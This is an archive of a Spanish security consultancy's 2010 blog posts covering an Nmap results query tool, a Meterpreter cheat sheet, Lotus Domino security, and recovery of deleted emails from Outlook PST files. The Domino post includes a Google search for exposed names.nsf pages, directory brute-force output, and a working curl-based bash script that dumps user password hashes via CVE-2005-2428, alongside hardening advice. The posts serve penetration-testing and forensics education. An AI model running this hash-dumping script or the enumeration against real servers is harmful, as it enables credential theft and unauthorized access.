jueves, 5 de agosto de 2010

¡Nos hemos mudado!. We’ve moved!.

Antes de iniciar el descanso estival hemos decidido cambiar el sitio y el diseño de nuestro web, dándole un toque más marino y fresco. A partir de ahora encontraréis nuestro blog en: bluelog.blueliv.com , por lo que por favor actualizar vuestros lectores de feeds. Esperemos que este sea de vuestro agrado y que podáis aportar vuestros comentarios en cada post que hagamos.
Buenas vacaciones.

Before leaving for holidays we’ve decide to change the site and the design of our web, we’ve brought it a sea and fresh touch. From now on, you’ll find our blog at: bluelog.blueliv.com, so update your feed readers, please. We hope you enjoy it and We hope you enjoy it and  it would be a great pleasure for us if you could contribute with your comments in every post we publish.
Happy summer holidays.

lunes, 21 de junio de 2010

Nmap Querier (NQu)

Durante la ejecución de un pentest, recurrimos a muchas herramientas para obtener información que nos llevará a conducir el test de intrusión por un camino u otro. Entre esas herramientas se encuentra la vetusta nmap que ya ha alcanzado su versión 5 y que hemos podido ver en un buen número de largometrajes. Una de las opciones más interesantes de NMAP es la opción de exportación de los resultados. Estos ficheros nos sirven para automatizar el ataque usando otras herramientas o simplemente tener un resumen de lo que ha encontrado. Algunas aplicaciones como Nessus o su fork open source, Openvas, permiten importar los resultados para afinar la ejecución de sus plugins y acotar el ámbito de ataque.

Figura 1 Escaneando una red interna

Desde blueliv, hemos querido contribuir un poco a esa gestión de la información con una herramienta llamada NQu (Nmap Querier). NQu permite importar los resultados de NMAP y ejecutar sentencias de SQL sobre esos resultados, de tal forma que podamos ver la información que creamos más relevante para luego guardarla:

Figura 2 Ventana principal de NQu

NQu lee la salida en formato XML generada por NMAP (opción -oX). Desde la pantalla principal, el botón Importar XML permite seleccionar el fichero a importar:

Figura 3 Fichero XML importado

Imaginaros el supuesto de que se quiera lanzar un ataque de diccionario sobre SSH. Desde el cuadro "Consulta SQL" podemos filtrar los datos obtenidos por NMAP para obtener un listado de todos los hosts con el puerto "SSH" a la escucha:

Figura 4 Con una simple SQL podremos filtrar los resultados

Una serie de consideraciones a tener en cuenta cuando se use la herramienta:
  • Los nombres de los campos corresponden con los nombres de las columnas
  • No está permitido el uso de comillas dobles (")
  • Para ejecutar la query, habrá que posicionarse al final y pulsar enter
  • Admite drag and drop de ficheros XML de nmap
  • Las columnas se pueden ordenar a vuestro antojo
La parte más interesante de NQu es la posibilidad de guardar los datos resultantes en cualquier formato que la imaginación y los conocimientos de Javascript permitan. A la hora de guardar el resultado de la query, se puede seleccionar un script javascript que preprocesará los datos antes de salvarlos. Por defecto, podemos grabarlos en formato xml, entre otros:

Figura 5 Selección del formato de salida

Después de salvar el archivo, el contenido de nmap-nqu.xml quedaría así:


Figura 6 Resultado de la exportación

Escribir scripts para formatear los resultados es muy sencillo. A continuación, os muestro un ejemplo de script que guardar los datos en el formato IP:puerto1,puerto2,puerto3,...:

importPackage(com.blueliv.nmap.model);
function processNmap(hosts){
for(i=0;i<hosts.size();i++){
println(hosts.get(i).getIpAddress()+':'+ hosts.get(i).getPortsAsCSV());
}
}

Los ficheros tienen que estar en el directorio scripts de la aplicación. Por defecto no está creado, así que habrá que hacerlo a mano. Una vez se haya guardado el fichero en el directorio, aparecerá en el cuadro desplegable de la opción Guardar.


La API

Además de las funciones de Javascript, el paquete com.blueliv.nmap.model nos proporciona una API para poder jugar con los resultados. En la variable hosts, tenemos una lista de objetos que nos ofrecen los siguientes métodos:

  • getStatus(): Obtiene el estado
  • getIpAddress(): Obtiene la IP
  • getIpAddressType(): Obtiene el tipo de dirección
  • getMacAddress(): Mac address de la máquina
  • getHostNames(): Nombre de host
  • getPorts(): Devuelve una colección de puertos.
  • getPortsAsCSV(): Devuelve la lista de puertos en formato CSV
  • getHostNamesAsCSV(): Devuelve la lista de nombres en formato CSV

De la colección de puertos se puede obtener la siguiente información:

  • getProtocol(): Protocolo
  • getPortNumber(): Puerto de escucha
  • getState(): Estado (abierto, filtrado,...)
  • getServiceName(): Nombre real del servicio
  • getServiceState(): Estado del servicio
  • getServiceProduct(): Aplicación a la escucha
  • getServiceVersion(): Version
  • getServiceTunnel(): Tunel (valor booleano)
  • getServiceOsType(): Sistema operativo
La herramienta también permite su uso sin un entorno gráfico para añadirla a vuestros proprios scripts. La encontrareis para descargar desde aquí.

Saludos,

martes, 15 de junio de 2010

Meterpreter Cheat Sheet

Con el objetivo de contribuir en la divulgación de conocimiento en materia de seguridad informática y comunicaciones, desde blueliv, hemos desarrollado un “chuletario” de los comandos más relevantes de Meterpreter.

Muchos de vosotros, os preguntareis ¿qué es Meterpreter? y ¿para qué sirve?. La respuesta es muy simple, Meterpreter es una herramienta que se puede utilizar como payload en los exploits de Metasploit y fue desarrollado con el objetivo de implementar funcionalidades de muy compleja implementación en lenguaje ensamblador. Para ello, la técnica que utiliza es la inyección, en memoria, de extensiones DLL en los procesos en ejecución del equipo atacado. De modo que después de explotar una vulnerabilidad, automáticamente se cargarían dichas DLLs en el proceso vulnerable y se obtendría una interfaz de comandos amigable orientada al pentesting de sistemas.

Como veréis en el “chuletario”, descargable desde Aquí, existen multitud de comandos y scripts orientados al desarrollo de un proyecto de Auditoría de Seguridad de Sistemas Informáticos. Dichos comandos, se clasifican en:
  • Comandos base que nos permitirán ejecutar nuevos scripts desarrollados por la comunidad e incluso realizar nuestros propios mediante la interfaz del mismo Meterpreter
  • Comandos de sistema de ficheros que permiten movilidad entre directorios, listado de ficheros, así como subir y bajar ficheros
  • Comandos a nivel de red, que permiten obtener la configuración de la interfaz, listado de rutas del equipo remoto. Asimismo, se incorporan comandos para la utilización del equipo vulnerado como punto estratégico de puente hacia otras subredes mediante técnicas de “Port Forwarding”
  • Comandos de interacción con el sistema, como puede ser la ejecución de ficheros en el sistema remoto, la obtención de perfiles de privilegios o incluso la interacción con el registro de Windows
  • Comandos específicos de interacción con el entorno del usuario remoto, los cuales nos permiten obtener las pulsaciones insertadas por el mismo o incluso obtener instantáneas del estado del escritorio de forma transparente

La gran ventaja de meterpreter es que nos permite desarrollar nuestros propios scripts y ejecutarlos, mediante el comando run, pudiendo hacer, en función de los privilegios obtenidos en el sistema, lo que nuestra imaginación alcance:

  • Elevar privilegios en el sistema si disponemos de un usuario limitado
  • Obtener copias de la memoria RAM para poderla analizar y así obtener más información
  • Realizar volcados de los hashes de las contraseñas de los usuarios locales
  • Realizar capturas de tráfico en el segmento del equipo comprometido
  • Realizar enumeración de equipos conectados en el mismo segmento de red del equipo comprometido
  • Instalar meterpreter como servicio para ser accedido en cualquier momento
  • Obtener interfaz gráfica vía inyección de VNC

Otro punto a favor de Meterpreter es que podremos inyectarlo como payload de una explotación de una vulnerabilidad presente en Metasploit o bien, ejecutándolo como binario en caso de disponer de la posibilidad de subir/ejecutar dicho fichero en el equipo remoto.

Para dudas, sugerencias o aportaciones, disponemos del siguiente correo de contacto info@blueliv.com

Saludos,

viernes, 4 de junio de 2010

Seguridad en entornos Lotus Domino

En un contexto globalizado, como el actual, es frecuente encontrarse con servidores Lotus Domino accesibles desde Internet, a través de su acceso Web. La mayoría de estos disponen de mecanismos control de acceso mediante usuario y contraseña, no obstante, no es extraño encontrar accesos anónimos a recursos de dichas plataformas. Es posible localizar dichos recursos mediante las siguientes técnicas:

  • Búsquedas en Google.
  • Ataques de fuerza bruta para la enumeración de recursos.
  • A partir de la información obtenida usando en conjunción las dos técnicas anteriores y enumerando nueva bases de datos.
De hecho, resulta alarmante la cantidad recursos que pueden encontrarse mediante una sencilla búsqueda en google, para posteriormente acceder directamente a la URL http://servidor/names.nsf.

Búsqueda en google:


inurl:names.nsf

Una vez identificado cualquier servidor accesible, es posible enumerar otros recursos Domino mediante la utilización de fuerza bruta. Para esto, puede ser útil la herramienta “dirb” y diccionarios específicos con nombres de BBDD Domino.


$ ./dirb http://servidor/ wordlists/vulns/domino.txt
-----------------
DIRB v2.03
By The Dark Raver
-----------------
URL_BASE: https://servidor/
WORDLIST_FILES: vulns/domino.txt
-----------------
GENERATED WORDS: 202
---- Scanning URL: https://servidor/ ----
+ http://servidor/?Open
(FOUND: 400 [Bad Request] - Size: 204)
+ http://servidor/?OpenServer
(FOUND: 400 [Bad Request] - Size: 204)
+ http://servidor/Agent.nsf
(FOUND: 200 [Ok] - Size: 2785)
+ http://servidor/admin.nsf
(FOUND: 200 [Ok] - Size: 2780)
+ http://servidor/runner.nsf
(FOUND: 200 [Ok] - Size: 2785)

Dependiendo de si la plataforma Domino requiere de autenticación, es posible obtener información que por sí sola no representa un riesgo considerable, pero es información susceptible de ser utilizada en una segunda fase de ataques.

Si por el contrario se permite acceso anónimo, o se conocen credenciales de acceso, es posible acceder a los datos del Directorio de Domino, pudiendo visualizar usuarios, grupos, departamentos, máquinas, clusters, etc. En tal caso, es frecuente, mediante la explotación de la vulnerabilidad CVE-2005-2428, obtener los hashes de las contraseñas de todos usuarios de la infraestructura Domino, las cuales se encuentran embebidas en el código fuente de la página web tal y como se muestra a continuación:

Un sencillo script, similar a este, puede ayudarnos a automatizar el volcado de hashes:


***********************************************
**** Extract Domino Hashes (blueliv) *****
***********************************************
#!/bin/bash
min_usuario=1
max_usuario=99999
login=
password=
i=$min_usuario
url_base="http://servidor/names.nsf"
people_xml="/People?ReadViewEntries"
> lista_users.txt
> datos_users.txt
while [ $i -lt $max_usuario ]; do
echo "Obtendiendo bloque a partir del usuario $i"
curl -s --basic -u "$login:$password" "$url_base$people_xml&Start=$i" >> lista_users.txt
echo "test"
let i=$i+30
done
for user_id in `cat lista_users.txt | grep unid | awk -F " " '{print $3}' | awk -F '"' '{print $2}'`
do
curl -s --basic -u "$login:$password" "$url_base/$user_id?OpenDocument" >> datos_users.txt
done

Una vez obtenidos los hashes relativos a las contraseñas de usuarios, es posible observar hashes en formato lotus5 o domininosec, los cuales están soportados por John the ripper mediante los parches adecuados. Cabe destacar que, la utilización hashes lotus5 es mucho más débil de dominosec, ya que no utiliza un salt.

A partir de este momento, la obtención de credenciales administrativas es una mera cuestión de tiempo, tras la cual se podría escalar privilegios hacia el sistema subyacente, pudiendo interactuar plenamente con su sistema operativo… Aunque esto último lo dejamos para otro post.

Para aquellos que estén sensibilizados por la seguridad de sus propias plataformas Domino, es necesario asegurarse, entre otros aspectos, de los siguientes mínimos:
  • Establecer el acceso anónimo a “No Access”, impidiendo de este modo el acceso anónimo.
  • Establecer el acceso por defecto a “Reader”, obligando la autenticación para todos los usuarios.
  • Establecer la opción “More secure Internet password format” para todas las contraseñas, evitando la utilización de sistemas criptográficos débiles en la generación de hashes.
  • Desactivar la opción “Generate HTML for all fields”, eliminando la exposición de hashes de contraseñas en el propio código fuente de la págna web.
Saludos,

miércoles, 26 de mayo de 2010

Recuperando correos electrónicos de archivos PST



En las investigaciones forense en las que se investiga las posibles acciones fraudulentas efectuadas por un empleado de una Organización, es muy común, entre otros análisis, realizar un recuperación de ficheros en base a un búsqueda de strings y un posterior filtrado de los mismos aplicando un listado de palabras potencialmente relacionadas con el caso en cuestión.


Los correos corporativos de un empleado sujeto a investigación habitualmente son foco esencial de análisis pudiendo encontrar multitud de soluciones como Lotus Notes, Netscpe/Mozilla, AOL, soluciones basadas en Apple y Outlook.

A pesar de las múltiples soluciones, la más comúnmente utilizada entre las Organizaciones, es Outlook cuya gestión de los correos enviados y recibidos, agendas y calendarios quedan almacenados bajo ficheros Offline Storage Files (OST) o Personal Storage File (PST).


Dicho formato de ficheros es un fichero propietario de Microsoft cuyo formato interno era poco conocido hasta que Microsoft liberó documentación al respecto. Los ficheros PST son ficheros binarios estructurados y auto-contenidos que representan un repositorio de almacenamiento de mensajes ordenados por una jerarquía de objetos como son carpetas, mails y adjuntos.


Semejante a un sistema de ficheros, un archivo PST consta de diferentes capas, las cuales se representan en la siguiente figura:


Diagrama de capas de un fichero PST obtenido de la definición de la arquitectura de ficheros PST publicada por Microsoft



Como se observa en la imagen anterior dispone de 3 capas, las cuales son:

· Node Database Layer (NDB Layer): Contiene dos bases de datos de nodos que representan el almacenamiento a más bajo nivel del fichero PST. Básicamente está compuesta por una cabecera, bloques, nodos y dos árboles binarios que contienen las referencias a todos los nodos y bloques del fichero.

· Lists, Tables and Properties (LTP Layer): Es una capa de nivel superior a la de NDB que gestiona tablas de propiedades y contextos de la información.

· Messaging Layer: Es la capa de más alto nivel que combina la información de las capas NDB y LTP con el objeto de interpretar las carpetas, correos y adjuntos como objetos y propiedades.


Viendo las analogías de un fichero PST con un sistema de ficheros tipo NTFS, FAT, EXT, etc, uno puede pensar que los correos borrados también pueden llegar a ser recuperables. Prueba de ello, es la cantidad de aplicaciones que se han desarrollado con el objetivo de reparar PST corruptos y para recuperar correos que han sido borrados. Pero, ¿ qué hacen exactamente todos estos programas para recuperar los correos ?


Como hemos visto, los contenidos de un fichero PST, se encuentran almacenados en árboles binarios, utilizando apuntadores a las estructuras de datos. Por ello, análogamente a un sistema de ficheros, cuando borramos un correo, éste no es físicamente borrado del fichero PST, sino que lo que realmente se borra es el puntero lógico que identifica en qué posición del fichero se encuentran los datos del mismo.


La capa NBT está constituida por árboles binarios que contienen la referencia a todos los datos del fichero. Dichos árboles, empiezan en una posición raíz, la cual se almacena en la cabecera del fichero. La cabecera incluye información que contiene metadatos acerca del fichero PST e información acerca de los punteros hacia las secciones de bloques de datos dónde se almacenan los mensajes y sus contenidos (root record). De modo que manipulando los correspondientes bits de la cabecera, podríamos forzar a que el archivo PST se corrompa, no pudiendo acceder a la información que éste contiene. Si de algún modo fuéramos capaces de regenerar toda la estructura del fichero, volveríamos a regenerar también los apuntadores de los correos borrados, pudiendo de este modo leerlos con su correspondiente gestor de correo.


Como prueba de ello, imaginemos un posible caso en que una Organización tiene las sospechas de que uno de sus empleados del departamento I+D ha estado filtrando información a la competencia acerca de los nuevos productos en desarrollo. Por ello, se podría requerir de la realización de un análisis forense de su equipo, el cual se sustentaría, entre otros, en el análisis de sus correos corporativos.

Para ello, una vez recabada toda información útil para el caso, procederíamos a la extracción de los ficheros PST usando herramientas tipo Sleuthkit:

· fls –o 63 –r –m / imagen.dd | grep –i “\.pst”



Ejemplo de búsqueda de ficheros PST mediante fls

· icat –o 63 5349-128-3 imagen.dd > mails.pst

Una vez extraído el contenido del inodo, y por lo tanto, el fichero PST, podemos abrirlo mediante Outlook:




Bandeja de entrada del fichero mails.pst una vez se ha abierto mediante Outlook

Como se aprecia en la figura, el fichero puede ser abierto correctamente pero éste se encuentra vacío sin ningún correo electrónico. Por este motivo, podemos intuir que los correos electrónicos han podido ser borrados y tendremos que aplicar la técnica anteriormente descrita.


Recordemos que el primer paso a efectuar es corromper el fichero Outlook borrando el “root record” para que ScanPst reconstruya toda la estructura de los árboles binarios de la capa NBT. Para ello, utilizaremos un editor de ficheros en hexadecimal y modificaremos las posiciones 7 a 13 substituyéndolas por el valor hexadecimal 0x20:





Edición del fichero PST mediante Hex Workshop. Modificación del “root record”


Si intentamos abrir el correo nuevamente con Outlook, veremos que nos aparece el siguiente mensaje, indicándonos que el fichero se encuentra corrupto:



Mensaje de error de Outlook una vez cargado el fichero modificado mails_mod.pst


Para reconstruir el fichero, utilizaremos la herramienta Scanpst, según las indicaciones del mensaje de error:




Carga del fichero mails_mod.pst en la herramienta Scanpst.exe





Inicio de la reparación del fichero mails_mod.pst


Una vez reparado el fichero, lo abrimos mediante Outlook y tal y como se observa en las siguientes imágenes, hemos podido recuperar correos que habían sido borrados por el usuario.




Bandeja de Salida del fichero PST recuperado




Bandeja de Entrada del fichero PST recuperado


Con este post hemos visto una manera manual de recuperación de correos electrónicos borrados que pueden ser un factor decisivo en una investigación digital. Como alternativas a este proceso, existe software específico desarrollado con el mismo objetivo; La recuperación de correos borrados.


Un ejemplo de herramienta open source, destacar la herramienta libpst que nos permitirá la recuperación de los correos desde un fichero PST en formato texto, pudiendo luego someter los ficheros de texto resultante a un análisis de strings, opción muy útil de cara al desarrollo de la investigación.

Saludos,